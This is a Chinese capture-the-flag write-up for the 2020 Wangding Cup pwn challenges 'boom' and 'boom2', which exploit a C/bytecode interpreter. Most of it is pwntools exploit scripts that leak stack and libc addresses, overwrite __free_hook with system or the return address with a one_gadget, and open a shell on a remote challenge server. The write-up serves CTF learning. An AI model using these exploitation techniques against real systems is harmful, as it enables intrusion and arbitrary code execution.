2020网鼎杯pwn boom
这个程序是真的特别特别的大,初步分析了一下后面就没有分析了,但是分析出了应该是个c语言的编译然后转化成字节码运行的程序,而且只能使用函数一次,也限制了程序的长度,分析去这个之后测试了一些c代码,发现可以输入int * a = 0x12345678之内的代码,然后在*a = 1234,改写 0x12345678地址的值,程序没有任何地址保护之内的东西,通过这样的代码就可以造成任意地址读写,所以只要泄露信息就好了
gdb调试发现,可以通过
int a;
int *b = &a - 3;
在a地址前3个保存了栈地址,此时b指向栈地址,可以用printf("%p\n",&a);来输出a的地址,再gdb观察内存就好了
有了栈地址和任意地址读写,就可以泄露程序的基地址和libc地址,但是不晓得远端系统环境是啥,所以先通过程序基地址泄露libc
from pwn import *
#sh = process('./pwn')
sh = remote('182.92.73.10', 24573)
#gdb.attach(sh)
#context.log_level = 'debug'
sleep(1)
code = '''
int main()
{
int a;
int * b;
int * c;
int * e;
int * put_got;
int * libc_base;
int * base;
b = &a +3;
c = *b;
c = c + 18;
#这个地方各个系统栈存储基地址的位置不太一样,所以是慢慢加1测出远端的程序基地址位置的
base = *c - 0x040;
e = base + 0x40c02;#指向函数使用次数,从而任意调用函数
put_got = base + 0x40bef;
printf("%p\n", *put_got);
*e = 1;
c = c + 6;
printf("%p\n", *c);
libc_base = *put_got - 0x06f690;
printf("%p\n", libc_base);
}
'''
sh.sendline(code)
sh.interactive()
泄露free和puts两个地址就可以到libc_database确定glibc版本,确定是ubuntu16 glibc2.23
然后泄露libc地址后覆盖__free_hook 为system就好了
from pwn import *
#sh = process('./pwn')
sh = remote('182.92.73.10',36642)
#gdb.attach(sh)
context.log_level = 'debug'
sleep(1)
code = '''
int main()
{
int a;
int * b;
int * c;
int * system;
int * free_hook;
b = &a +3;
c = *b;
c = c + 24;
system = 0x45390 + *c - 0x3ca000;
free_hook = *c + 0x3c67a8 - 0x3ca000;
*free_hook = system;
#printf("%p", *free_hook);
free("/bin/sh");
}
'''
sh.sendline(code)
sh.interactive()
拿下flag,其实本来想用open,read,write函数做的,但是不知道只有运行shell输入token才能拿flag,浪费了不少时间
boom2
漏洞和boom1一模一样,主要是从输入c代码变成了输入字节码,分析下字节码,然后泄露栈地址后进行任意地址读写,因为没有free函数了,所以就直接覆盖main函数返回地址为one_gadget了,libc版本和上题一样
from pwn import *
#sh = process('./pwn')
sh = remote('182.92.73.10',36642)
#gdb.attach(sh)
mov_r1_r2_index = '\x00' * 8
payload = mov_r1_r2_index + '\xfc' + '\xff' + '\xff' * 6
#通过&r2 - 3复制给r1指向栈的地址
payload += '\x09' + '\x00' * 7
#取值字节码,大概就是r1 = *r1,这样就获得栈地址了
payload += '\x0d' + '\x00' * 7
#r1 的入栈操作
payload += '\x01' + '\x00' * 7
payload += '\x18' + '\xff' + '\xff' * 6
#对r1赋值,这里赋值的是上一个r1指向栈地址和main函数放回地址的偏移
payload += '\x19' + '\x00' * 7
#将栈指向值加上r1后赋值给r1,此时r1的值就是指向main_ret的栈地址,同时出栈
payload += '\x0d' + '\x00' * 7
#r1入栈
payload += '\x09' + '\x00' * 7
#r1取值,此时r1就是main函数放回地址,这个地址在libc中,所以加上onegadget偏移后再覆盖回去就能劫持程序
payload += '\x0d' + '\x00' * 7
#r1入栈
payload += '\x01' + '\x00' * 7
payload += '\x17' + '\x09' + '\x0d' + '\x00' * 5
#r1赋值为onegadget偏移
payload += '\x19' + '\x00' * 7
#加偏移出栈,此时r1就是onegadget
payload += '\x0B' + '\x00' * 7
#将r1赋值栈中地址指向的值,大概就是*[rsp] = r1的意思
sh.send(payload)
sh.interactive()
这个时候放回地址被覆盖成了onegadget,就可以拿下flag
感觉这个脚本写的不怎么好看,,,
来源:oschina
链接:https://my.oschina.net/u/4409755/blog/4276783